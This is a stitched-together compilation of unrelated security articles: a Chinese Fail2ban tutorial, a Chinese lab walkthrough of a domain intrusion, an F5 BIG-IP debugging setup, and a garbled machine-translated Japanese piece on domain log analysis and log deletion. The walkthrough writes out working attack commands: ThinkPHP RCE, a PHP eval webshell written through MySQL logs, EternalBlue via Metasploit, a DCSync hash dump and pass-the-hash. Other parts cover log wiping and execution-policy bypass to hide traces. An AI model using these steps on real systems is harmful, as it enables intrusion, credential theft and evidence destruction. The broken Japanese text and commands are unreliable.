結果,可疑的IP 地址將失去訪問服務器的能力。經過一段可配置的時間後,IP地址可以自動解禁,也可以手動解禁。

例如,您可以配置Fail2ban,如果任何威脅行為者發起密碼破解攻擊,他們的IP 地址將被禁止五個小時。

現在,讓我們探索配置過程本身。

如何配置Fail2ban您可以配置Fail2ban 以讀取不同應用程序的日誌。開箱即用,此工具可以與以下應用程序類型交互:

马云惹不起马云SSH 服務器

马云惹不起马云HTTP 服務器

马云惹不起马云Webmail 和群件服務器

马云惹不起马云網絡應用

马云惹不起马云HTTP 代理服務器

马云惹不起马云FTP 服務器

马云惹不起马云郵件服務器

马云惹不起马云郵件服務器驗證器

马云惹不起马云DNS 服務器

马云惹不起马云來自不同類別的各種服務器應用程序

默認情況下,Fail2ban 啟用使用sshd的通信,這是一個OpenSSH 服務器進程。這意味著在幾次失敗的SSH 身份驗證嘗試後,負責的IP 地址將被禁止。

為了與任何應用程序交互,Fail2ban 使用Jail,它是一個過濾器和一個或多個操作的組合。此交互允許您在身份驗證嘗試失敗後禁止IP 地址。

監獄配置默認保存到jail.conf 文件。如果要更改默認設置,請複製配置文件並將副本命名為jail.local。如果jail.local 文件存在,Fail2ban 將自動使用它而不是默認文件。

我們不建議對原始配置文件進行更改,因為萬一出現任何錯誤,返回默認設置將非常困難。此外,一旦安裝了Fail2ban 的新更新,jail.conf 文件也將更新,您的所有自定義設置都將消失。

以下是Fail2ban 如何確定失敗的身份驗證嘗試:

1. 該工具具有寫入jail.local 配置文件中的服務日誌文件的路徑。

2. 失敗的身份驗證日誌和常規異常會自動添加到Fail2ban 文本過濾器中。

3. 該工具使用文本過濾器掃描日誌文件。

如果您打開配置文件,您會發現Fail2ban 可以與之交互的相當大的應用程序列表。這些應用程序的名稱在括號中,如下面的示例代碼所示:

#Mailservers

[assp]

port=smtp,465,submission

logpath=/root/path/to/assp/logs/maillog.txt

[courier-smtp]

port=smtp,465,submission

logpath=%(syslog_mail)s

backend=%(syslog_backend)s

[postfix]

#Touseanothermodessetfilterparameter'mode'injail.local:

mode=more

port=smtp,465,submission

logpath=%(postfix_log)s

backend=%(postfix_backend)s

[postfix-rbl]

filter=postfix[mode=rbl]

port=smtp,465,submission

logpath=%(postfix_log)s

backend=%(postfix_backend)s

maxretry=1默認情況下,Fail2ban 配置為僅與SSH 一起使用,並且所有其他通信協議都被禁用。如果需要開啟其他類型的通信,在配置文件中找到需要的類型,添加如下字符串:

enabled=true這是一個例子:

[nginx-http-auth]

enabled=true

port=http,https

logpath=%(nginx_error_log)s如果需要,您還可以更改與某個應用程序交互的現有參數或添加新參數。以下是常用參數列表:

马云惹不起马云ignoreip指定Fail2ban 忽略的IP 地址。默認情況下,該參數設置為忽略當前機器的流量。

马云惹不起马云bantime 以秒為單位設置禁令持續時間。默認值為600 秒。

马云惹不起马云findtime定義了監控來自每個IP 地址的失敗身份驗證嘗試的時間段。默認值為600 秒。

马云惹不起马云maxretry指定在findtime 指定的時間內每個地址的失敗登錄嘗試限制。

马云惹不起马云usedns確定是否使用反向DNS 進行阻止。如果設置為NO,則Fail2ban 將阻止IP 地址而不是主機名。如果設置為YES,該工具將嘗試使用反向DNS 來查找主機名並阻止它。默認值為WARN。它就像YES 值一樣工作,但也會記錄一個警告。系統工程師可以稍後查看所有警告。

马云惹不起马云協議指定將被阻止的流量類型。默認情況下它是TCP。

马云惹不起马云port指定要禁止的端口。

马云惹不起马云logpath顯示日誌文件的路徑。

注意:上面的列表沒有描述所有的Fail2ban 參數。您可以在配置文件中找到所有這些。

您可以在/etc/fail2ban 文件夾中的文件中找到在logpath參數中默認設置的日誌文件路徑(例如,上面代碼示例中的nginx_error_log ):

马云惹不起马云paths-common.conf — 具有默認服務日誌路徑的文件

马云惹不起马云path-opensuse.conf、paths-arch.conf、paths-debian.conf — 包含不同Linux 系統的特定路徑的文件

如果您打開上述文件,您可以看到類似於以下的日誌文件路徑:

apache_error_log=/var/log/apache2/*error.log

apache_access_log=/var/log/apache2/*access.log

auditd_log=/var/log/audit/audit.log

exim_main_log=/var/log/exim/mainlog

nginx_error_log=/var/log/nginx/*error.log

nginx_access_log=/var/log/nginx/*access.log如有必要,您可以編輯指示應在日誌中搜索哪些文本以確定身份驗證失敗的過濾器。每個過濾器都位於/etc/fail2ban/filter.d 文件夾中的一個單獨文件中。

image.png

截圖1. /etc/fail2ban/filter.d文件夾內的過濾器列表

當您打開任何過濾器文件時,您將看到一個帶有所需身份驗證失敗文本的正則表達式,如下例所示:

image.png

屏幕截圖2. 過濾驗證失敗的文本

配置完成後,使用以下命令重新加載Fail2ban:

sudofail2ban-clientreload如果您只更改了一個Jail文件的設置,則無需重新啟動該工具。只需使用以下命令重新加載它:

image.png

此外,您可以配置Fail2ban 以與配置文件中不存在的任何應用程序進行交互。您需要做的就是添加您的自定義配置,如上所述。

如何使用Fail2ban要檢查當前啟用了哪些監獄,請使用以下命令:

sudofail2ban-clientstatus這是響應的示例:

Status

|-Numberofjail:2

`-Jaillist:nginx-http-auth,sshd如您所見,服務器上啟用了nginx-http-auth 和sshd Jails 。如果要查看任何Jail參數的值,則無需打開配置文件;只需使用以下命令:

image.png

這是一個代碼示例,它向我們展示了sshd Jail maxretry 等於5:

sudofail2ban-clientgetsshdmaxretry5如果監獄超過了失敗的身份驗證嘗試限制,Fail2ban 將禁止在監獄配置中為IP 地址指定的端口。要檢查監獄狀態,請使用以下命令:

image.png

下面是一個響應示例,它向我們展示了兩個IP 地址當前被禁止SSH 訪問:

Statusforthejail:sshd

|-Filter

||-Currentlyfailed:0

||-Totalfailed:25

|`-Filelist:/var/log/auth.log

`-Actions

|-Currentlybanned:2

|-Totalbanned:5

`-BannedIPlist:192.168.10.107192.168.10.115如果您在IP 在禁止列表中時嘗試訪問服務器,則會收到如下“連接被拒絕”錯誤:

ssh:connecttohost192.168.10.105port22:Connectionrefused如果IP 地址被任何HTTP 服務器Jail禁止,錯誤將類似:

curl:(7)Failedtoconnectto192.168.10.105port80:Connectionrefused您還可以使用以下命令手動將任何IP 地址添加到禁止列表:

image.png

這是一個例子:

sudofail2ban-clientsetnginx-http-authbanip10.100.1.210要手動解禁IP 地址,請使用以下命令:

image.png

這是一個例子:

sudofail2ban-clientsetnginx-http-authunbanip10.100.1.210考慮到這一點,讓我們開始在Fail2ban 中配置通知。

如何配置Viber 聊天機器人以接收Fail2ban 通知如果要監控Fail2ban 活動,請通過以下三個步驟配置實時活動通知:

1. 配置您要使用的任何通知服務

2. 準備Fail2ban 動作配置文件

3. 在jail.local 文件中更新action參數的值

Fail2ban 具有使用電子郵件服務的配置。您需要做的就是在服務器上配置服務。

但是,如果您想通過Viber 等信使服務接收通知怎麼辦?讓我們討論如何配置它!

首先,要將Viber 用作通知服務,您需要創建一個Viber 聊天機器人。您可以在Viber API 文檔頁面上找到有關Viber 聊天機器人設置和配置的文檔。

準備好聊天機器人後,請確保執行以下步驟:

1. 獲取Viber 聊天機器人的身份驗證令牌。您可以在Viber 管理面板頁面上找到它。

2.在訂閱Viber 聊天機器人的所有用戶列表中找到您的用戶ID。為此,請使用以下HTTP 請求:

image.png

響應將向您顯示成員列表,如下例所示:

'members':[{'id':'','name':'JohnDoe','role':'admin'}]選擇必要成員的ID 並複制。

現在,您可以開始配置Fail2ban。轉到/etc/fail2ban/action.d 文件夾,其中包含所有可能的Fail2ban 操作的配置。

為Viber 通知創建一個新的配置文件。我們將其命名為viber_notifications.conf。現在將以下內容添加到文件中:

image.png

讓我們弄清楚上面的字符串是什麼意思以及我們可以配置什麼:

马云惹不起马云actionban和actionunban參數描述了當Fail2ban 禁止或解禁可疑IP 地址時需要執行的操作。在我們的例子中,HTTP 請求會將消息從您的Viber 聊天機器人發送給您指定的用戶。

马云惹不起马云 Auth Token 和user id 是我們之前討論過的參數。只需粘貼您的身份驗證令牌和您複製的用戶名。

马云惹不起马云sender是配置通知發送者名稱的參數。在我們的示例中,我們使用名稱“Fail2ban”。

马云惹不起马云type是幫助您配置消息類型的參數。您可以使用Viber 發送不同的消息類型。在我們的示例中,我們使用文本類型。

马云惹不起马云text是一個參數,其中包含機器人將發送的消息。您可以向文本添加不同的變量。例如, ip 代表被禁止的IP 地址、 name 監獄名稱和failures 失敗次數。

马云惹不起马云name=default是一個字符串,表示將動態分配監獄名稱

我們的下一步是配置jail.local。為此,您需要在必要的Jail部分中添加操作參數或更新[DEFAULT]部分中的默認參數。該參數應包含兩個操作:第一個用於IP 禁止,第二個用於Viber 通知。

下面是一個使用action參數的例子

action=%(action_)s

viber_notifications注意:%(action_)s是默認操作值。此操作將禁止IP 地址。讓我們將Viber 操作配置名稱“viber_notifications”添加到第二個字符串。

現在,由於jail.conf 文件發生了變化,您需要重新加載Fail2ban 客戶端並重新啟動服務:

sudofail2ban-clientreload

systemctlrestartfail2ban聊天機器人將如下所示:

screenshot-3-Fail2ban-notifications-in-a-viber-chatbot.png

屏幕截圖3. Viber 聊天機器人中的Fail2ban 通知

配置完成。現在您可以使用Viber 聊天機器人實時監控Fail2ban 活動!

結論密碼破解攻擊是對任何應用程序的嚴重威脅。惡意行為者使用不同的方法來未經授權訪問用戶帳戶並竊取用戶的敏感數據。

為了保護您的應用程序免受此類威脅,請應用嚴格的身份驗證策略並使用Fail2ban 等服務設置可靠的密碼破解保護。

在Apriorit,我們在構建每個項目時都考慮到網絡安全。我們的Web 應用程序開發和質量保證專家已經掌握了威脅保護應用程序的開發以及包括Fail2ban 在內的不同安全服務的配置。

开启靶机后是一个带着 ThinkPHP icon 的登陆界面,直接测试一下

pr3aixxmthh14332.png

存在 5.0.23 RCE

avb2fkz5ot014333.png

打一下,PHP-7.4.3 的环境,看一下 disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
2bves0gkpyg14334.png

传马上去,蚁剑连接,是www-data权限,那么就得想办法提权进到/root

ptodkvtli0a14335.png

在以前关注的公众号下找了些文章,Web安全工具库 这篇写的挺全的,《Linux提权备忘录》

尝试cat /etc/sudoers被告知Permission denied,换成sudo -l查看

0vj0bijbpzi14336.png

这个网站里可以提供命令提权参考

qbhtoepnebh14338.png

可以使用mysql来实现,sudo mysql -e '! cat /root/flag/flag01.txt'拿到第一部分 flag

mpnwk2mcgmc14339.png

ifconfig查下 IP

xl1tobyxl4y14340.png

把 fscan 传上去然后扫下 C 段,./fscan_amd64 -h 172.22.1.1/24,结果在当下的 result.txt 里

172.22.1.18:3306 open
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010    (Windows 7 Professional 7601 Service Pack 1)
[+] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[+] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] 172.22.1.2     [+]DC XIAORANG\DC01              Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] 172.22.1.18          XIAORANG\XIAORANG-OA01     Windows Server 2012 R2 Datacenter 9600
[*] 172.22.1.21          __MSBROWSE__\XIAORANG-WIN7     Windows 7 Professional 7601 Service Pack 1
[*] WebTitle:http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle:http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

.15 就不用看了,.21 是个存在永恒之蓝的 Win7,.18 是个信呼OA 的系统,.2 是个域控

用 NPS+Proxifier 代理转发,先看 .18

h5lgfcmqjp114341.png

然后就有两个做法,第一个是针对信呼OA的一个文件上传漏洞,可以参考 Y4tacker师傅的文章,在利用弱口令 admin/admin123 登录后直接打 exp 就行

第二种做法是在扫目录基础上,利用/phpmyadmin,可以直接 root/root 登录,然后利用日志写入 webshell

y52lpwcwv3314342.png

第一步先执行show variables like 'general%';查看是否开启日志以及存放的日志位置

0gqyq0hecc014344.png

第二步set global general_log = ON;开启日志

ainw4x2jgid14345.png

第三步set global general_log_file设置日志保存位置

ftsk54ijihs14346.png

最后select '<?php eval($_POST[cmd]);?>';写然后蚁剑连接,flag 就在C:/Users/Administrators/flag

tlz0e2dogff14347.png

接下来看 .21,是台 Win7 的机子,可以打 MS17-010 ,试了一下不出网,采用正向监听即可

先挂代理,proxychains msfconsole走 socks5 流量,然后依次use exploit/windows/smb/ms17_010_eternalblue=>set payload windows/x64/meterpreter/bind_tcp_uuid=>set RHOSTS 172.22.1.21=>exploit

vy2ug4xabn314348.png

得到正向的 meterpreter shell 后,接下来就是利用 DCSync

DCSync的介绍可以参考这篇文章,最大的特点就是可以实现不登录到域控而获取域控上的数据

在 MSF 下直接load kiwi,然后kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit导出域内所有用户的 Hash

1zrjq0e2br514349.png

之前扫出来 .2 的 445 端口开放,利用 smb 哈希传递,直接用 kali 自带的 crackmapexec,proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd",最后一部分 flag 在/Users/Administrators/flag

gqrs4cmeht514350.png

原文链接: http://119.45.47.125/index.php/2022/11/24/yunjing-4/

0x00 前言本文記錄從零開始搭建F5 BIG-IP漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

F5 BIG-IP安裝

F5 BIG-IP漏洞調試環境配置

常用知識

0x02 F5 BIG-IP安裝1.下載OVA文件下載頁面:https://downloads.f5.com/esd/productlines.jsp

下載前需要先註冊用戶併申請激活碼,申請地址:http://www.f5.com/trial

2.安裝(1)在VMware Workstation中導入OVA文件

(2)設置用戶名口令

導入虛擬機後,需要輸入默認用戶名(root)和默認口令(deault),接著需要重設root用戶和admin用戶的口令

(3)配置

輸入ifconfig獲得IP,訪問https://ip ,使用admin用戶的憑據進行登錄

在配置頁面填入激活碼

在配置頁面可以配置開啟ssh允許通過ssh登錄

0x03 F5 BIG-IP漏洞調試環境配置配置文件的定位參考《CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现》

1.定位java進程查看進程:

psaux|grepjava如下圖

0e25481e601806d5a6a351e6e9de61b.png

定位進程pid 6324,jar包路徑/usr/share/java/rest

查看pid 6324的進程信息:

image.png

如下圖

522c09c544118cd8c3a780d50d2bbd2.png

定位文件/etc/bigstart/scripts/restjavad

修改JVM_OPTIONS,添加調試參數-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

2.定位服務查看所有服務的狀態:

systemctlstatus找到pid 6324對應的服務名稱runit.service

添加調試參數後需要重啟服務:

servicerunit.servicerestart查看參數是否修改:

psaux|grep8000如下圖

85dc2a39450cb5d3b70c0f97d911528.png

3.開啟防火牆在Web管理面板,依次選擇System - Platform - Security

添加規則,如下圖

3e86a25cf33071fd5c00afa2cea75ea.png

遠程調試成功,如下圖

a7cca7943be08e383a782521f06a5c0.png

使用tmsh查看防火牆規則,參考

https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/security/security_firewall_management-ip-rules.html

命令如下:

tmsh-c'list/securityfirewallmanagement-ip-rules'結果如下圖

63e0d996830ebe51a932a38deb288c0.png

4.常用jar包位置/usr/local/www/tmui/WEB-INF/lib/

/usr/share/java/rest

0x04 常用知識1.tmsh用法參考資料:

https://clouddocs.f5.com/api/tmsh/

https://clouddocs.f5.com/cli/tmsh-reference/latest/

(1)查看版本

tmshshow/sysversion(2)查看所有配置

分步操作:

tmsh

listall-properties

y一鍵操作:

echoy|tmsh-c'listall-properties'(3)查看用戶信息

分步操作:

tmsh

listauth一鍵操作:

tmsh-c'listauth'(4)創建管理員用戶(web和ssh登錄)

參考:https://clouddocs.f5.com/cli/tmsh-reference/v15/modules/auth/auth_user.html

分步操作:

tmsh

createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}需要注意口令不能存在特殊字符

一鍵操作:

tmsh-c'createauthuseruser123passwordaaaaaaa1234description'AdminUser'shellbashpartition-accessadd{all-partitions{roleadmin}}'(5)刪除用戶

分步操作:

tmsh

deleteauthusertest1一鍵操作:

tmsh-c'deleteauthusertest1'2.使用REST API執行命令需要管理員用戶名口令

訪問https://url /mgmt/tm/util/bash

能夠執行bash命令,獲得返回結果

代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/BIG-IP_RunBash.py

3.日誌相關(1)搜索帶有指定關鍵詞的日誌

grep-iRaaaaaaaa/var/log/(2)web管理後台同日誌文件的對應關係

審計日誌,位置System -Logs - audit,對應文件/var/log/audit

用戶登錄歷史記錄,位置Logins - History,對應文件/var/log/secure

(3)其他日誌位置

/var/log/restjavad-audit.0.log

/var/log/auditd/audit.log

/var/log/btmp

/var/log/wtmp

/var/log/lastlog

(4)查看web訪問日誌

journalctl/usr/bin/logger清除所有:

rm-rf/var/log/journal/*

systemctlrestartsystemd-journald0x05 小結在我們搭建好F5 BIG-IP漏洞調試環境後,接下來就可以著手對漏洞進行學習。

ドメインのログは一般に.evtxで終了するため、ドメインのログを検索してdirコマンドを使用する必要があります

dir/s/b *.evtx

/s:サブディレクトリを含む再帰検索を意味します。

/b:結果が簡潔なモードで表示されることを意味し、ファイルパスのみが他の情報なしで表示されます。

ここでは、LogParserツールを使用して、ドメイン内のログ情報をエクスポートできます。 (ドメインコントロールホスト)

LogParserツールは、フィルタリングにSQLクエリメソッドを使用します。

次のディレクティブを使用して、文字列列とeventID列を介してドメイン内のユーザーのログイン動作をフィルタリングします。

logparser.exe -I:EVT -O:CSV 'SELECT RECORDNUMBER、TIMEWRITTEN、EVENTID、文字列、C3:へのメッセージ

-I:入力ファイルタイプ-O:出力ファイルタイプ

通常のドメインの普及中に、ドメイン制御を直接取得し、ドメイン制御ホストで動作してログをエクスポートします。一般に、分析のために指定されたメンバーホストのログをドメイン制御ログまたはログをエクスポートすることは非現実的です:1。VPNメソッド。 2。ソックストンネルを構築します。 3.リモートトロイの木馬メソッドを作成します。

クエリはVPN

を介してログを記録します

一般的に言えば、VPNを介してターゲットホストを接続し、操作のためにイントラネット環境に入ります。

ここでは、ドメイン管理アカウントが取得され、エクスポートログ分析がドメイン管理資格情報を介して実行されると仮定します。

1。ホストのログインレコード

をクエリします

最初にドメインコントロールのログストレージの場所を取得します

dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx

ドメイン制御ログファイルは、コピー命令を介してローカルにコピーできます。

コピー\\ 10.10.10.10 \ c $ \ windows \ system32 \ winevt \ logs \ c: \ uses \ admins \ desktop \ log

ログファイルは非表示のファイルであるため、logparserを介してすべての.evtxファイルを直接エクスポートすることはできません(検索できません)

ただし、logparserを使用して部分的なログをリモートエクスポートできます

logparser.exe -i:evt -o:csv 'select * into c: \ 1.csv from \\ remoteserver \ security'

logparser.exe -i:evt -o:csv 'select * into c: \ 1.csv from \\ 10.10.10.10 \ security'

2。接続中のログのトレースをクエリ

ログトレースを照会する場合、まずこれらのログインに使用される認証方法を理解する必要があります。WindowsはデフォルトでNTML認証を使用し、Kerberos認証はドメインネットワークで使用されます。簡単に言えば、NTLMはホストとホストの間の直接的なインタラクティブ認証であり、Kerberosはサードパーティ(ドメインコントロール)によって認証されます。

ドメインコントロールは、ドメイン内のホストおよびドメインアカウントに資格情報のみを発行します。したがって、リモートホストポジショニングにIPを使用する場合、NTLM認証が使用され、ポジショニングにドメイン名またはマシン名を使用する場合、Kerberos認証が使用されます。

ネット使用を使用してリモート共有に接続するプロセスもログインプロセスです。したがって、ログインがある限り、ログに反映されます。

同じことが、dirとhostを使用して直接ログインすることにも当てはまります。

ログクエリ分析により、ホストはKerberos認証を使用して直接ログに記録することがわかりました。 DIRおよびネット使用を使用する場合、リモートホストがIPの場合、NTLM認証です。それどころか、ドメイン名またはマシン名が位置決めに使用される場合、それはポジショニングのためのKerberosです。

メンバーホストネット使用接続ドメインコントロールホスト

ntlm認証パケット

ネット使用\\ 10.10.10.10 \ IPC $

指示を通じて、この命令のログインはNTLM認証であるべきであることがわかります。

複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続すると、次のレコードがドメインコントロールホストに残されることがわかりました。

最初のパッケージは、ドメインコントロールホストに接続するアカウントを確認するための資格情報です。

2番目のパッケージは、接続に権限を割り当てることです

3番目のパッケージは、ログインに成功したデータパッケージです

3番目のパッケージでは、メンバーホストのIPアドレス、マシン名、およびその他の情報を見ることができます。

S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 |管理| VVVV1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {0000000-0000-0000000-0000000000} | - | ntlm V1 | 128 |0x0 | - | 10.10.10.3 | 1280 | %% 1833 | - | - | | %% 1843 |0x0 | %% 1842

したがって、3番目の正常にログインしたデータパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を通じてログ内のドメインコントロールのホスト情報を取得するだけです。

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとホスト名が表示されます。

Kerberos認証パケット

ネット使用\\ AD-2016 \ IPC $

複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続されている場合、Kerberos認証を使用すると、ドメインコントロールホストに次のレコードが残ることがわかりました。

したがって、5番目の正常にログインしたパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を介してログ内のドメインコントロールのホスト情報を取得するだけです。

S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-500 |管理者| VVVV1.com |0x7C3DBEB9 | 3 | KERBEROS | K erberos || {ce15c23a-e7e3-3fc1-4a75-fdf339bec822} | - | - | 0 |0x0 | - | 10.10.10.12 | 50364 | %% 1840 | - | - | - | - | - | - | - %% 1843 |0x0 |%1842

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '%|%$ |%' '

文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとアカウントを確認できます。

メンバーホストdirはドメインコントロールホストに接続します

ntlm認証パケット

dir \\ 10.10.10.10 \ c $

原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

Kerberos認証パケット

dir \\ ad-2016 \ c $

原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '%|%$ |%' '

メンバーホストはメンバーホストを接続します

dir \\ 10.10.10.10 \ c $

dir \\ web-2003 \ c $

最初の方法、つまりNTLM認証方法は、このログトレースをドメインコントロールホストのログにのみ残すことです。これはほとんど役に立たず、メイントレースは接続ホストのログに反映されます。

Kerberos認証法である2番目の方法は、ドメインコントロールホストに2つのログを残します。TGTを要求し、STログをリクエストします。

ログを検索するプロセスも上記に似ているため、ここでは説明しません。

メンバーホストは単独でログインします

ドメイン内のユーザーのアカウントでログインするユーザーのみに、ドメインコントロールホストにトレースが残ります。ローカルアカウントでログインすると、マシンのログにのみ反映されます。

ドメイン内のユーザーを使用してログインする場合、ドメインコントロールは認証にKerberosを使用することです。これは上記のKerberos認証パケットと同じです。

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10 \ SERTINGS '%|%$ |%' '

クエリはソックスプロキシ

を介してログを記録します

一般的に言えば、境界ホストを倒すと、ソックストンネルを構築し、地元のホストエージェントをイントラネットに操作のために持ち込みます。

まず、ハッシュ配信を使用して、外部ドメインホストに十分な権限があることを確認します。

テスト後、ハッシュパス操作はドメインコントロールとソックストンネルクライアントのホストにログトレースを生成しません。

1。ホストのログインレコード

をクエリします

命令と操作はVPNの指示と同じです。

2。接続中のログのトレースをクエリ

リモートホストネット使用接続ドメインコントロールホスト

Proxifier ProxyツールはSocks環境のDNSプロキシを変更できず、ドメイン名とマシン名を正しく解決できないためです。したがって、IP操作のみを使用し、NTLM認証を使用できます。

ntlm認証パケット

ネット使用\\ 10.10.10.10 \ IPC $

指示を通じて、この命令のログインはNTLM認証であるべきであることがわかります。

複数のテストの後、メンバーホストが上記のステートメントを使用してドメインコントロールホストに接続すると、次のレコードがドメインコントロールホストに残されることがわかりました。

最初のパッケージは、ドメインコントロールホストに接続するアカウントを確認するための資格情報です。

2番目のパッケージは、接続に権限を割り当てることです

3番目のパッケージは、ログインに成功したデータパッケージです

3番目のパッケージでは、メンバーホストのIPアドレス、マシン名、およびその他の情報を見ることができます。

S-1-0-0 | - | - |0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 |管理| VVVV1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {0000000-0000-0000000-0000000000} | - | ntlm V1 | 128 |0x0 | - | 10.10.10.3 | 1280 | %% 1833 | - | - | | %% 1843 |0x0 | %% 1842

したがって、3番目の正常にログインしたデータパケットをリモートでエクスポートし、フィルタリングルールを変更して、ネット使用を通じてログ内のドメインコントロールのホスト情報を取得するだけです。

logparserツールを使用して、ログファイルをエクスポートします。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

文字列フィールドを通じて、ドメインコントロールに接続されているホストのIPとホスト名が表示されます。

ドメインコントロールホストへのリモートDIR接続

ntlm認証パケット

Proxifier ProxyツールはSocks環境のDNSプロキシを変更できず、ドメイン名とマシン名を正しく解決できないためです。したがって、IP操作のみを使用し、NTLM認証を使用できます。

dir \\ 10.10.10.10 \ c $

原則は正味使用と同じです。LogParserを使用して直接エクスポートしてください。

c: \ uses \ admins \ desktop \ logparser.exe -i:evt -o:csv 'select * into c: \ uses \ usedins \ desktop \ log \ 1.csv from \ 10.10.10.10 \ | ntlm |%。

リモートホストはメンバーホストに接続します

dir \\ 10.10.10.10 \ c $

どちらの方法でも、このログトレースをドメインコントロールホストのログに残すことを指します。これはほとんど役に立たず、メイントレースは接続ホストのログに反映されます。

ログを検索するプロセスも上記に似ているため、ここでは説明しません。

powershell log

PowerShellログは通常、システムログに直接記述されます

ただし、通常の構成では、PowerShellは実行のコマンドログを保存せず、PowerShell Openコマンド(ID:600)とPowerShell Closeコマンド(ID:403)のみを保存します。

したがって、侵入プロセス中に、インタラクティブシェルを取得すると、最初にPowerShellを開き、次にコマンドを実行できます。次に、ログはパワーシェルを開くためにコマンドのみを記録し、PowerShell端子で実行されたコマンドのレコードを保存しません。

ただし、浸潤プロセス中に、Webシェル、つまり半互換コマンドウィンドウを取得した場合、コマンドを1つのステートメントに要約するだけで、コマンドはログに記録されます。

PowerShellスクリプトの使用

パワーシェルスクリプトを使用してコマンドを実行する場合、最初にコマンドを実行する必要があります

PowerShell -ExecutionPolicyバイパス

PowerShellの実行ポリシーをバイパスするために使用されます。 PowerShellは、デフォルトで実行ポリシーを有効にし、スクリプト実行権限を制限します。

実行ポリシーは、スクリプトファイルを実行できるかどうか、および信頼されていないソースからスクリプトを制御するセキュリティメカニズムです。デフォルトでは、PowerShellの実行ポリシーは「制限」に設定されています。つまり、スクリプトファイルの実行は許可されていません。

PowerShellコマンドラインで「PowerShell -ExecutionPolicyバイパス」を使用することにより、実行ポリシーの制限をバイパスし、スクリプトファイルを許可します。これにより、実行ポリシーが一時的に「バイパス」に変更され、すべてのスクリプトを実行できます。

私たちがインポートしようとしているPS1スクリプトがSharphound.ps1である場合

Import-Module ./sharphound.ps1

この時点で、Sharphoundモジュールは現在のセッションにロードされています

現在のセッションでロードされたすべてのモジュールを表示します

ゲットモジュール

Sharphoundモジュールですべてのコマンドのリストを取得します

Get -Command -Module Sharphound

Sharphoundの使用ヘルプをご覧ください

Get-Help Sharphound

get-help invokebloodhound -full

削除ログ

浸透環境にいる場合、すべてのログを削除すると、痕跡を隠さないだけでなく、代わりに痕跡がより明白になります。

したがって、単一のログを削除する方法のみを使用できますが、Windowsはそれを提供しないか、単一のログを削除する操作を許可しないため、他の方法のみを使用できます。

ツールの使用量:https://github.com/3gstudent/eventlogedit-evtx - evolution

単一ログを削除する原則: https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%5%97%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%E5%AE%9E%E4%Be%8B

